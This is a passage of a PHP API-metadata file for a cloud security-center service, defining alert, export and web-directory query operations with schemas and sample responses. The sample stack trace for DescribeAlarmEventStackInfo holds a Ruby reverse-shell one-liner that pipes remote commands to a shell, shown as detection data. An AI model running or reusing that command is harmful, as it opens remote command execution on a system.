20.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', 'default' => '1', ], ], [ 'name' => 'ExportType', 'in' => 'query', 'schema' => [ 'description' => 'The type of archived information. Valid values:'."\n" ."\n" .'* **suspiciousExport**: alert event'."\n", 'type' => 'string', 'required' => true, 'example' => 'suspiciousExport', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578ABF384', ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '29', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '9', ], ], ], 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the file.'."\n", 'type' => 'object', 'properties' => [ 'Link' => [ 'description' => 'The URL at which you can download the archived information.'."\n", 'type' => 'string', 'example' => 'http://xxx.oss-cn-xxx.aliyuncs.com/export/assetInstance_20221221_1671606250570.zip', ], 'Status' => [ 'description' => 'The status of the export task. Valid values:'."\n" ."\n" .'* **init**: The task is being initialized.'."\n" .'* **exporting**: The task is in progress.'."\n" .'* **success**: The task is complete.'."\n", 'type' => 'string', 'example' => 'success', ], 'Progress' => [ 'description' => 'The progress percentage of the export task.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'CurrentCount' => [ 'description' => 'The number of exported entries.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '29', ], 'GmtCreate' => [ 'description' => 'The time when the export task was created.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '1671607025000', ], 'Message' => [ 'description' => 'The error message that is returned when the export task fails.'."\n", 'type' => 'string', 'example' => 'success', ], 'FileName' => [ 'description' => 'The name of the file.'."\n", 'type' => 'string', 'example' => 'suspicious_event_20221203', ], 'TotalCount' => [ 'description' => 'The total number of entries in the file.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '29', ], 'Id' => [ 'description' => 'The ID of the export task.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '273698***', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578ABF384\\",\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 29,\\n \\"Count\\": 9\\n },\\n \\"Data\\": [\\n {\\n \\"Link\\": \\"http://xxx.oss-cn-xxx.aliyuncs.com/export/assetInstance_20221221_1671606250570.zip\\",\\n \\"Status\\": \\"success\\",\\n \\"Progress\\": 100,\\n \\"CurrentCount\\": 29,\\n \\"GmtCreate\\": 1671607025000,\\n \\"Message\\": \\"success\\",\\n \\"FileName\\": \\"suspicious_event_20221203\\",\\n \\"TotalCount\\": 29,\\n \\"Id\\": 0\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeBackUpExportInfo', ], 'DescribeLoginSwitchConfigs' => [ 'summary' => 'Queries the alerting status for unapproved logon IP addresses, unapproved logon time ranges, or unapproved logon accounts.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], ], 'parameters' => [], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Count' => [ 'description' => 'The number of returned configuration items.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '0B48AB3C-84FC-424D-A01D-B9270EF4****', ], 'ConfigList' => [ 'description' => 'The configuration item returned.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The body of the message.'."\n", 'type' => 'object', 'properties' => [ 'Status' => [ 'description' => 'The status of the Log Service feature. Valid values:'."\n" ."\n" .'* **0**: The feature is disabled.'."\n" .'* **1**: The feature is enabled.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '0', ], 'Item' => [ 'description' => 'The type of the alert that you enabled or disabled. Valid values:'."\n" ."\n" .'* **login\\_common_ip**: alerts for unapproved logon IP addresses'."\n" .'* **login\\_common_time**: alerts for unapproved logon time ranges'."\n" .'* **login\\_common_account**: alerts for unapproved logon accounts', 'type' => 'string', 'example' => 'login_common_ip', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Count\\": 2,\\n \\"RequestId\\": \\"0B48AB3C-84FC-424D-A01D-B9270EF4****\\",\\n \\"ConfigList\\": [\\n {\\n \\"Status\\": 0,\\n \\"Item\\": \\"login_common_ip\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeLoginSwitchConfigs', ], 'DescribeWebPath' => [ 'summary' => 'Queries the custom web directories that are scanned based on the alerting feature.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the alert configuration. Valid values:'."\n" ."\n" .'* **web_path**'."\n", 'type' => 'string', 'required' => false, 'example' => 'web_path', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'B37C9052-A73E-4707-A024-92477028****', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '2', ], 'ConfigList' => [ 'description' => 'An array that consists of the paths to the web directories.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The web directory.'."\n", 'type' => 'object', 'properties' => [ 'WebPath' => [ 'description' => 'The path to the web directory.'."\n", 'type' => 'string', 'example' => '/root/www****', ], 'WebPathType' => [ 'description' => 'The path type of the web directory. Valid values:'."\n" ."\n" .'* **def**: automatically identified'."\n" .'* **customize**: manually added'."\n", 'type' => 'string', 'example' => 'def', ], 'TargetList' => [ 'description' => 'An array consisting of the servers on which the web directories are scanned.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The web directory.'."\n", 'type' => 'object', 'properties' => [ 'Target' => [ 'description' => 'The object.'."\n", 'type' => 'string', 'example' => '82048187-bb9b-4e19-8320-7b4ddb97****', ], 'TargetType' => [ 'description' => 'The object type. Valid values:'."\n" ."\n" .'* **uuid**'."\n", 'type' => 'string', 'example' => 'uuid', ], ], ], ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"RequestId\\": \\"B37C9052-A73E-4707-A024-92477028****\\",\\n \\"TotalCount\\": 2,\\n \\"Count\\": 2,\\n \\"ConfigList\\": [\\n {\\n \\"WebPath\\": \\"/root/www****\\",\\n \\"WebPathType\\": \\"def\\",\\n \\"TargetList\\": [\\n {\\n \\"Target\\": \\"82048187-bb9b-4e19-8320-7b4ddb97****\\",\\n \\"TargetType\\": \\"uuid\\"\\n }\\n ]\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeWebPath', ], 'ListUuidsByWebPath' => [ 'summary' => 'Queries protected assets by using the paths to specific web directories.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'https', 'http', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'WebPath', 'in' => 'query', 'schema' => [ 'title' => '路径', 'description' => 'The path to the web directory.'."\n", 'type' => 'string', 'required' => false, 'example' => '/root/www****', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The number of the page to return.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The number of entries to return on each page.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => true, 'example' => '20', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'title' => '类型', 'description' => 'The path type of the web directory. Valid values:'."\n" ."\n" .'* **def**: automatically identified'."\n" .'* **customize**: manually added'."\n", 'type' => 'string', 'required' => false, 'example' => 'def', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'List' => [ 'description' => 'An array that consists of the protected assets.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the protected asset.'."\n", 'type' => 'object', 'properties' => [ 'Uuid' => [ 'description' => 'The UUID of the server.'."\n", 'type' => 'string', 'example' => '49e25e0f-bb51-4a5a-a1b3-13a4ddaa****', ], 'InternetIp' => [ 'description' => 'The public IP address of the server.'."\n", 'type' => 'string', 'example' => '8.210.XX.XX', ], 'IntranetIp' => [ 'description' => 'The private IP address of the server.'."\n", 'type' => 'string', 'example' => '172.25.XX.XX', ], 'MachineName' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'example' => 'test****', ], ], ], ], 'PageInfo' => [ 'description' => 'The pagination information.'."\n", 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the returned page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The number of entries returned per page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of entries returned.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '10', ], ], ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'A3C1240F-9DAC-5EE8-ADF5-2F930A95****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"List\\": [\\n {\\n \\"Uuid\\": \\"49e25e0f-bb51-4a5a-a1b3-13a4ddaa****\\",\\n \\"InternetIp\\": \\"8.210.XX.XX\\",\\n \\"IntranetIp\\": \\"172.25.XX.XX\\",\\n \\"MachineName\\": \\"test****\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 10,\\n \\"Count\\": 10\\n },\\n \\"RequestId\\": \\"A3C1240F-9DAC-5EE8-ADF5-2F930A95****\\"\\n}","type":"json"}]', 'title' => 'ListUuidsByWebPath', ], 'ModifyWebPath' => [ 'summary' => 'Modifies a custom web directory.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'readAndWrite', 'systemTags' => [ 'operationType' => 'update', 'abilityTreeCode' => '92408', 'abilityTreeNodes' => [ 'FEATUREsas3VVW1Q', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of the configuration item. Set the value to **web_path**.'."\n", 'type' => 'string', 'required' => false, 'example' => 'web_path', ], ], [ 'name' => 'Config', 'in' => 'query', 'schema' => [ 'description' => 'The configuration of the web directory. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **webPathType**: the type of the web directory'."\n" .'* **webPath**: the web directory'."\n", 'type' => 'string', 'required' => false, 'example' => '{'."\n" .' "webPathType": "customize",'."\n" .' "webPath": "/root/www****"'."\n" .'}', ], ], [ 'name' => 'Target', 'in' => 'query', 'schema' => [ 'description' => 'The protected asset to which the web directory belongs. The value of this parameter is in the JSON format and contains the following fields:'."\n" ."\n" .'* **target**: the protected asset.'."\n" .'* **targetType**: the type of the asset. Set the value to uuid.'."\n" .'* **flag**: the type of the operation.'."\n", 'type' => 'string', 'required' => false, 'example' => '[{"target":"0186127a-d33e-4d0c-94fb-8f25f87bc69f","targetType":"uuid","flag":"add"}]', ], ], ], 'responses' => [ 200 => [ 'headers' => [], 'schema' => [ 'type' => 'object', 'properties' => [ 'Success' => [ 'description' => 'Indicates whether the request was successful. Valid values:'."\n" ."\n" .'* **true**: The request was successful.'."\n" .'* **false**: The request failed.'."\n", 'type' => 'boolean', 'example' => 'true', ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '20623245-7E5E-52CA-9640-7502F119****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Success\\": true,\\n \\"RequestId\\": \\"20623245-7E5E-52CA-9640-7502F119****\\"\\n}","type":"json"}]', 'title' => 'ModifyWebPath', ], 'GetAlarmMachineCount' => [ 'summary' => 'Queries the number of servers on which alerts are generated.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', ], 'parameters' => [ [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Set the value to sas.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'PlainResult', 'description' => 'PlainResult'."\n", 'type' => 'object', 'properties' => [ 'Data' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'MachineCount' => [ 'description' => 'The number of servers on which alerts are generated.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], ], ], 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '6D3A2E7D-1238-5DD4-B3C3-BF06FCAD****', ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Data\\": {\\n \\"MachineCount\\": 1\\n },\\n \\"RequestId\\": \\"6D3A2E7D-1238-5DD4-B3C3-BF06FCAD****\\"\\n}","type":"json"}]', 'title' => 'GetAlarmMachineCount', ], 'DescribeSuspEventExportInfo' => [ 'summary' => 'Queries the information about an export task of exceptions.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'abilityTreeCode' => '106281', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], ], 'parameters' => [ [ 'name' => 'ExportId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the export task.'."\n" ."\n" .'> You can call the [ExportSuspEvents](~~ExportSuspEvents~~) operation to query the ID.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '123', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'Link' => [ 'description' => 'The URL at which you can download the exported Excel file.'."\n", 'type' => 'string', 'example' => 'http://suspicious-xxxxxxx.oss-cn-shanghai.aliyuncs.com/xxxxxxxxxxx/suspicious_event_20221221_1671590525269.zip?Expires=1671594125&OSSAccessKeyId=yourAccessKeyID&Signature=xxxxxxxxxxxxxxxxxx', ], 'Type' => [ 'description' => 'The type of the export task. The value is fixed as suspiciousEvent.'."\n", 'type' => 'string', 'example' => 'suspiciousEvent', ], 'Progress' => [ 'description' => 'The progress percentage of the export task.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '100', ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'BE120DAB-F4E7-4C53-ADC3-A97578AXXXXX', ], 'GmtCreate' => [ 'description' => 'The time when the export task was created.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2022-12-20T15:18Z', ], 'FileName' => [ 'description' => 'The name of the exported file.'."\n", 'type' => 'string', 'example' => 'suspicious_event_20221221_1671590521234.zip', ], 'TotalCount' => [ 'description' => 'The total number of exceptions exported.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'GmtModified' => [ 'description' => 'The time when the export task was modified.'."\n", 'type' => 'integer', 'format' => 'int64', 'example' => '2022-12-20T15:18Z', ], 'ExportStatus' => [ 'description' => 'The handling status for the exception. Valid values:'."\n" ."\n" .'* **exporting**: in progress'."\n" .'* **success**: successful'."\n" .'* **failed**: failed'."\n" .'* **pending**: pending'."\n", 'type' => 'string', 'example' => 'success', ], 'Id' => [ 'description' => 'The ID of the export task.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '11', ], 'Properties' => [ 'description' => 'The exported parameters of exceptions.'."\n", 'type' => 'string', 'example' => 'id,eventSubType,eventDetail,level,status,ip,instanceName,desc,lastTime,operateTime,note', ], ], 'description' => '', ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"Link\\": \\"http://suspicious-xxxxxxx.oss-cn-shanghai.aliyuncs.com/xxxxxxxxxxx/suspicious_event_20221221_1671590525269.zip?Expires=1671594125&OSSAccessKeyId=yourAccessKeyID&Signature=xxxxxxxxxxxxxxxxxx\\",\\n \\"Type\\": \\"suspiciousEvent\\",\\n \\"Progress\\": 100,\\n \\"RequestId\\": \\"BE120DAB-F4E7-4C53-ADC3-A97578AXXXXX\\",\\n \\"GmtCreate\\": 0,\\n \\"FileName\\": \\"suspicious_event_20221221_1671590521234.zip\\",\\n \\"TotalCount\\": 1,\\n \\"GmtModified\\": 0,\\n \\"ExportStatus\\": \\"success\\",\\n \\"Id\\": 11,\\n \\"Properties\\": \\"id,eventSubType,eventDetail,level,status,ip,instanceName,desc,lastTime,operateTime,note\\"\\n}","type":"json"}]', 'title' => 'DescribeSuspEventExportInfo', ], 'DescribeNsasSuspEventType' => [ 'summary' => 'Queries the information about an alert type.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '92143', 'abilityTreeNodes' => [ 'FEATUREsasNB8R24', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '180.212.XX.XX', ], ], [ 'name' => 'Remark', 'in' => 'query', 'schema' => [ 'description' => 'The name of the server.'."\n", 'type' => 'string', 'required' => false, 'example' => 'testECS', ], ], [ 'name' => 'Name', 'in' => 'query', 'schema' => [ 'description' => 'The name of the alert type.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Unusual Logon', ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese'."\n" .'* **en**: English'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], [ 'name' => 'From', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the request source. Set the value to **sas**, which indicates that the request is sent from Security Center.'."\n", 'type' => 'string', 'required' => false, 'example' => 'sas', ], ], [ 'name' => 'Uuids', 'in' => 'query', 'schema' => [ 'description' => 'The UUIDs of servers. Separate multiple UUIDs with commas (,).'."\n" ."\n" .'> You can call the [DescribeCloudCenterInstances](~~141932~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => false, 'example' => 'f56406cb-916d-42db-b6f7-2ff79e34****', ], ], [ 'name' => 'ContainerFieldName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the container field. Valid values:'."\n" ."\n" .'* **clusterId**: the ID of the cluster'."\n", 'type' => 'string', 'required' => false, 'example' => 'clusterId', ], ], [ 'name' => 'ContainerFieldValue', 'in' => 'query', 'schema' => [ 'description' => 'The value of the container field.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ca3108551c83c4d949106e1ab9e1e****', ], ], [ 'name' => 'MultiAccountActionType', 'in' => 'query', 'schema' => [ 'description' => 'The type of the accounts that you want to query. Default value: **0**. Valid values:'."\n" ."\n" .'* **0**: the current account.'."\n" .'* **1**: all accounts.'."\n", 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '0', ], ], [ 'name' => 'SupportOperateCodeList', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of supported alarm operation types.', 'type' => 'array', 'items' => [ 'description' => 'Supported alarm operation types: '."\n" .'- **AI.false_positive**: Suspected false positive '."\n" .'- **AI.real_attack**: Real attack '."\n" .'- **AI.Insufficient_information_to_evaluate**: Insufficient information to evaluate', 'type' => 'string', 'required' => false, 'example' => 'AI.real_attack', ], 'required' => false, 'maxItems' => 100, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'description' => 'The data returned.'."\n", 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => '9FBC6E47-7508-58C9-9E76-528E118CB1CC', ], 'EventTypes' => [ 'description' => 'An array that consists of the information about the alert type.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The information about the alert type.'."\n", 'type' => 'object', 'properties' => [ 'Type' => [ 'description' => 'The alert type.'."\n", 'type' => 'string', 'example' => 'Unusual Logon', ], 'SuspEventCount' => [ 'description' => 'The number of assets for which an alert of the type is generated.'."\n", 'type' => 'integer', 'format' => 'int32', 'example' => '22', ], 'Name' => [ 'description' => 'The name of the alert type.'."\n", 'type' => 'string', 'example' => 'Unusual Logon', ], ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"9FBC6E47-7508-58C9-9E76-528E118CB1CC\\",\\n \\"EventTypes\\": [\\n {\\n \\"Type\\": \\"Unusual Logon\\",\\n \\"SuspEventCount\\": 22,\\n \\"Name\\": \\"Unusual Logon\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'DescribeNsasSuspEventType', 'translator' => 'machine', ], 'DescribeAlarmEventStackInfo' => [ 'summary' => 'Queries the stack information about an alert event.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => true, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas731ZAS', ], ], 'parameters' => [ [ 'name' => 'SourceIp', 'in' => 'query', 'schema' => [ 'description' => 'The source IP address of the request.'."\n", 'type' => 'string', 'required' => false, 'example' => '192.168.XX.XX', ], ], [ 'name' => 'Lang', 'in' => 'query', 'allowEmptyValue' => true, 'schema' => [ 'description' => 'The language of the content within the request and response. Default value: **zh**. Valid values:'."\n" ."\n" .'* **zh**: Chinese.'."\n" .'* **en**: English.'."\n", 'type' => 'string', 'required' => false, 'example' => 'zh', 'default' => 'zh', ], ], [ 'name' => 'Uuid', 'in' => 'query', 'schema' => [ 'description' => 'The UUID of the server to query.'."\n" ."\n" .'> You can call the [DescribeSuspEvents](~~DescribeSuspEvents~~) operation to query the UUIDs of servers.'."\n", 'type' => 'string', 'required' => true, 'example' => '18b7336e-d469-473b-af83-8e5420f9****', ], ], [ 'name' => 'EventName', 'in' => 'query', 'schema' => [ 'description' => 'The name of the event.'."\n" ."\n" .'> You can call the [DescribeSuspEvents](~~DescribeSuspEvents~~) operation to query the names of events.'."\n", 'type' => 'string', 'required' => true, 'example' => 'Mining program'."\n", ], ], [ 'name' => 'UniqueInfo', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the alert event.'."\n", 'type' => 'string', 'required' => true, 'example' => '1fbe8d16727f61d1478a674d6fa0****', ], ], [ 'name' => 'ResourceDirectoryAccountId', 'in' => 'query', 'schema' => [ 'description' => 'The Alibaba Cloud account ID of the member in the resource directory.'."\n" ."\n" .'> You can call the [DescribeMonitorAccounts](~~DescribeMonitorAccounts~~) operation to obtain the IDs.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '127608589417****', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'StackInfo' => [ 'description' => 'The stack information of the alert details.'."\n", 'type' => 'string', 'example' => '\\[ { "child": \\[ { "child": \\[ { "child": \\[ ], "data": { "cmdline": "id", "proc_path": "/bin/id", "pid": "\\[3033]" }, "description": { "extend": \\[ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } }, { "child": \\[ ], "data": { "cmdline": "whoami", "proc_path": "/bin/whoami", "pid": "\\[3035]" }, "description": { "extend": \\[ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ], "data": { "cmdline": "/bin/bash -c \'id && whoami\'", "proc_path": "/bin/bash", "pid": "\\[3022]" }, "description": { "extend": \\[ ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ], "data": { "src_ip": "0.0.0.0", "cmdline": "ruby -rsocket -e exit if fork;c=TCPSocket.new(\\\\"0.0.0.0\\\\",\\\\"1111\\\\");while(cmd=c.gets);IO.popen(cmd,\\\\"r\\\\"){|io|c.print io.read}end", "file": "ruby", "login_port": "22", "login_type": "Password", "proc_path": "/usr/bin/ruby", "dst_port": "1111", "pid": "3011", "user": "root", "dst_ip": "0.0.0.0", "log_time": "2020-01-20 09:00:00" }, "description": { "extend": \\[ { "content": "${tpl_netstat}", "content_type": "text" } ], "main": { "content": "${pid} ${cmdline}", "content_type": "markdown" } } } ]'."\n", ], 'RequestId' => [ 'description' => 'The ID of the request.'."\n", 'type' => 'string', 'example' => 'ECC6B3E3-D496-512D-B46D-E6996A6B63EE', ], ], 'description' => 'The returned data.', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'RdCheckNoPermission', 'errorMessage' => 'Resource directory account verification has no permission.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'RdCheckInnerError', 'errorMessage' => 'Resource directory account service internal error.', ], [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'noSubstitutionReason' => '暂无替代API，请关注后续API最新发布。', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"StackInfo\\": \\"[\\\\n {\\\\n \\\\\\"child\\\\\\": [\\\\n {\\\\n \\\\\\"child\\\\\\": [\\\\n {\\\\n \\\\\\"child\\\\\\": [\\\\n \\\\n ],\\\\n \\\\\\"data\\\\\\": {\\\\n \\\\\\"cmdline\\\\\\": \\\\\\"id\\\\\\",\\\\n 